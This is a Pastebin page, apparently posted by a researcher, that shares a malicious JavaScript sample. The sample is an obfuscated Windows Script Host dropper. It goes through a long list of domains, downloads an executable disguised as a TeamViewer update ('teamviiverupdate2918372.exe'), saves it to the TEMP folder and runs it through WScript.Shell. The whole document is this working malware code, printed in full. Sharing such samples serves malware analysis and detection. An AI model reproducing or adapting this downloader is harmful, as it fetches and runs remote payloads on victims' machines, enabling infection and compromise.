Advertisement
dynamoo

Malicious Javascript

Jun 8th, 2016
898
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. eval((function(I){for(var r="",J=0,P=function(I,f){for(var p=0,U=0;U<f;U++){p*=96;var m=I.charCodeAt(U);if(m>=32&&m<=127){p+=m-32;}
  2. }
  3. return p;}
  4. ;J<I.length;){if(I.charAt(J)!="`")r+=I.charAt(J++);else{if(I.charAt(J+1)!="`"){var D=P(I.charAt(J+3),1)+5;r+=r.substr(r.length-P(I.substr(J+1,2),2)-D,D);J+=4;}
  5. else{r+="`";J+=2;}
  6. }
  7. }
  8. return r;}
  9. )("var S8Z={\'l\':\"\/Brusa\/vario\/direct\/teamviiverupdate2918372.exe\",\'X\':\"Run\",\'k\':\"close\",\'q\':\" \",\'d\':\"%TEMP%\",\'H\':2,\'w\':0,\'K\':\"ExpandEnvironmentStrings\",\'h\':\"CreateObject\",\'F\':\"position\",\'E\':\"split\",\'C\':\"send\",\'O\':\"saveToFile\",\'W\':\".exe\",\'Y\':\"open\",\'B\':\"write\",\'V\':\"size\",\'x\':1000,\'S\':\"length\",\'c\':1,\'A\':false,\'Q\':92,\'M\':\"WScript.Shell\",\'s\':\"http:\/\/www.\",\'z\':3,\'y\':\"ADODB.Stream\",\'e\':\"fromCharCode\",\'g\':200,\'L\':\"GET\",\'t\':\"status\",\'R\':\"931087\",\'v\':\"microsoft.com google` & owifdsf58945fsdfgdfwdferger.net orimes56546ddsfffddslds.at yahoo.com mega` H!paossdfdsfdf546s3434dcddffsdksdfd.ro brusasport` Y lenovo` & dell` \/ burberryy.net london.uk dh` :!doilsdcddfsca.vc kwewdscdscieriwerfdsfsdflksei3489454385ewuhfjdsbf.com libero.it djid840dsdfsfkdsjfosdf394394jds.tk dsieqadsfj39458jdnvmxsfswe.at micro.net support.ne` \"%com fgj474934fhdkfjshdf3489r34789rkjdshfjsdhf43` 1 r.ch jdsurg934tjksdhfjks83457kjdsbfkjdsbf348rdkjsbhsadfeywrfdsbmns.net dui34i759hksfbhjsdkbfhgrwfwerf` > efsdf347598435jfbsdjh8357935jrjkfds784349834fbsjf3849573456782345982345734675238945365783468753914293453425987340.com saluto.it spaien.es maieos.net 93.940.23.30 hotspital` U domane` $\"lito` L sdfiytue348dshfjsdfhsdfsdf` P opsldjsiruy8493has450968894584957489dkjfhkjdhf490584985840584809545890454584585nds.co.uk udsiwhnasd.nl departmener.com dosisjdskdjfheiuferfer.net dscdkjchiusdfd` H!sjkfhkdjsfhjkd4935893458347589435943059843567459683409583457436734` \'!093476454823423757` P .ru\/3453443\/34345\/fssdfdsf\/sdfdsf\/` (!sd\/php.php sdjshfdsfy37894ryhfdksjfksdf.de 54373749569348759435sfjdsfdsfdsf.ru djs8349jsjdfn9857468547.net 4578345384756756347856437858ryewuiry8734ry8743r.net\/3498hjdsffdf\/dsfdsf\/sdfd` \" xcvxcvxc\/xcv\/` \'!\/lohin.php 68945jfgdhbvncvtwqwghsjdbcdgfertuyu64587857tireufghdsvkjfsdnvdfvo9458t985gurdfgdgdfgdfgnsjywi.by 34985734kjeehfdsufhy8374yrdhsfjhahiuefhwiugeffg843frdsfsdvvcsdfesdff.jp umxkdo9305484jdnndhfu84759dj.mz 439857934857345kjsdfhsdfyiufy4893r4r89fsd.by 3498539475849365` *!47564375348534` )#86834` 8 43fsdjhfsdfsdffhgnvbhgynhyujemmceuhdjdjut84938745.com doasdmnasfwefwef.info dsjdfsdjkfgiwuef3489832478234jkdfbkjdsbfkhjdsfbsdkjfhsdbfkjeiuruweryueiwrwehiriewhuriwuedsc.net dshsmxncvjksduhfieurhfkjdskfjsrguieryt98347ty9hsfhdsmvcbieuruy745gyhfskjvbmdnbveiruvifvhhsdjvsdgfhsdfjbvcsierruy578t439543rt34t345t43t3453tufsfnfs.be sjdsuds.net sdnsjdfjf.info 34.39.293.2 sodfpdfdfsdfdsjfjdsf.ro sdkfsjdfiewaqdcw.it mdodiewfwe45968458764596dfjghfsdjgsdkfjg9845t74589thjdfnvdfkjhbvjhdsvgsjdfvksjfdvbhdfjkhvskjdfhvkjfhvsjdfkvsfureiwtyrty4573tytukdsdjshdjdhfgfwfwef.net ospdsdmnsfjierers.info yljtkljurtk0lz8tkidlprljljj1dtk09l7juqq` +$ltk94olj` ;%r` C(f` T%slz8tkcfr` T#ptkyc.be\",\'T\':\"type\",\'u\':\"MSXML2.XMLHTTP\",\'N\':\"responseBody\"};var b=S8Z.v[S8Z.E](S8Z.q),ws=WScript` 4 h` 3!M),fn=ws` H K` G!d)+String` D e` C!Q)+S8Z.R,xo=WScript` O h` N!u),xa` %\/y),ld=S8Z.w;for(var n` + c;n<` 4 z;n++){` 6#i=ld;i<b[S8Z.S];i++){var d` R!w;try{xo` ; Y](S8Z.L,S8Z.s+b[i]+S8Z.l` , A);` A\"C]();if(` P\"t]==S8Z.g){xa` < Y]();` %\"T]` 8 c` (#B]` P#N]);if(` M\"V]>S8Z.x){dn` D)F]` + w` (#O](fn+n+S8Z.W,S8Z.H);try{ws` K X` \/,c` A w);}catch(Z){};};xa` K k]();};if(dn==` K ){ld=i;break;}` H*}"));
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement